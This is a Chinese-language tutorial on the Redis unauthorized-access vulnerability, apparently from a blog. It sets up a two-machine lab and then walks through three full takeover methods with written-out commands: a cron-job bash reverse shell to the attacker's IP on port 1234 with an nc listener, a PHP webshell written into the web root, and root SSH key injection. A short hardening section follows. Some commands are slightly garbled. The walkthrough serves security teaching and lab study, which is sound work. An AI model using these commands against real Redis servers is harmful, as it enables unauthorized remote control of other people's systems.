浅析Redis未授权访问漏洞

458 阅读4分钟

浅析Redis未授权访问漏洞

Redis未授权访问漏洞的成因和危害

Redis数据库基础知识

redis是一个非常快速的、开源的、支持网络、可基于内存亦可持久化的日志型、非关系类型的.Key-Value数据库,并提供多种语言的APl。它提供了Java,C/C++,C#,PHP,JavaScript,PerlObject-C,Python,Ruby,Erlang等客户端,使用很方便。

漏洞介绍

redis末授权访问漏洞是一个由于redis服务版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的ip地址和端口完成redis服务器的远程登录,对目标服务器完成后续的控制和利用。以直接在非授权情况下直接访问Redis服务并进行相关操作

漏洞成因

  1. redis版本为4.x/5.0.5或以前的版本
  2. redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
  3. 没有设置密码认证 (一般为空),可以免密码远程登录redis服务

漏洞危害

  1. 攻击者可通过redis命令向目标服务器写入任务计划来反弹shell,完成服务器的控制
  2. 攻击者可通过redis命令向网站目录写入webshell,完成对目标网站服务器的初步控制
  3. 最严重的情况,如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

漏洞的验证及利用过程演示

实验环境搭建(基于Centos7)

1.下载redis

wget download.redis.io/releases/re…

2.安装编译

tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0./src
make

#将servre和cli移入bin目录下
cp -r /usr/local/redis/bin/redis-server /usr/bin/redis-server
cp -r /usr/local/redis/bin/redis-cli /usr/bin/redis-cli

3.修改配置

cp redis.conf /etccp redis.conf /etc vim /etc/redis.conf
vim /etc/redis.conf
#bind 127.0.0.1 #将这一句注释掉
protected-mode no #关闭保护模式

4.配置服务机和黑客机
将配置好的Centos7进行克隆,一个作为服务器(192.168.125.226),一个作为黑客机(192.168.125.13)

  1. 服务器:启动redis服务

/usr/local/redis/bin/redis-server /etc/redis.conf

  1. 黑客机:连接服务器

redis-cli -h 192.168.125.226(服务器IP地址)

1704029185251.jpg 连接成功后输入"info"看到当前服务机redis信息

漏洞利用方式1:写计划任务反弹shell

原理:在redis数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。

1. 黑客机登录服务器后将任务计划写进服务器

config set dir /var/spool/cron
config set dbfilename root
set xxoo"\n\n*/1 * * * * /bin/bash-i >& /dev/tcp/192.168.125.13/1234 0>&1\n\n"

image.png

2. 利用瑞士军刀对1234端口进行监听

nc -lvvp 1234

image.png

等待一会儿后,出现红框这句话,说明服务器已经发送了任务计划 image.png

3.查看目标的计划任务

crontab -l

image.png


漏洞利用方式2:写websehll

注意:服务器需提前配置lamp环境

yum install php #安装php
yum install httpd #安装Apache
service httpd start #启动Apache

安装成功后访问如下效果: image.png 1. 黑客机:redis-cli -h 192.168.125.226 连接redis服务器
2. 利用黑客机将webshell写进服务器

config set dir /var/www/html
config set dbfilename shell.php
set webshell "一句话木马"

image.png 注意:
a. 最后一定要save
b. 一句话木马中"cmd"可以换任意值

3. 访问写入的后门,可以看到访问成功 image.png

4.使用wellshell软件登录 image.png

成功连入服务器! image.png


漏洞利用方式3:写SSH公钥实现SSH登录

1.保证黑客机和目标机都开启SSH服务 (没有安装服务则用apt命令安装): systemctl restart sshd

2.在黑客机创建SSH公钥可写目录:

mkdir /root/.ssh

image.png 查看需要用"ls -al",因为".ssh"是一个隐藏文件

3.在黑客机生成SSH公钥

ssh-keygen -t rsa

image.png

查看,发现一个为公钥一个为私钥 image.png

4.将公钥写入1.txt文件

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt

前后用\n换行,避免和redis里其他存数据混合,不用会一直失败)(echo -e "\n\n";cat id rsa.pub;echo -e "\n\n")>1.txt

cat 1.txt | redis-cli -h 192.168.125.226 -x set crack

将1.txt的文本内容带入登录目标机redis服务器的过程中,后续可以直接在目标机上设置目标文件并写入

image.png

5. 连接redis,设置目录

config set dir /root/.ssh
config set dbfilename authorized_keys
save

image.png 这里设置目录时,可能存在(error) ERR Changing directory: No such file or directory
这是因为root从来没有登录过,在服务器执行ssh localhost 即可 image.png

6.连接服务器

ssh -i id_rsa root@192.168.125.226(服务器地址)

image.png

redis安全加固思路

  1. 将redis版本升级到4.x/5.0.5或以上
  2. 将redis的默认端口号6379修改为其他端口号并避免将redis端口暴露在公网.
  3. 设置密码认证,防止对方免密码远程登录redis服务
  4. 利用防火墙对访问redis服务器的流量进行检测拦截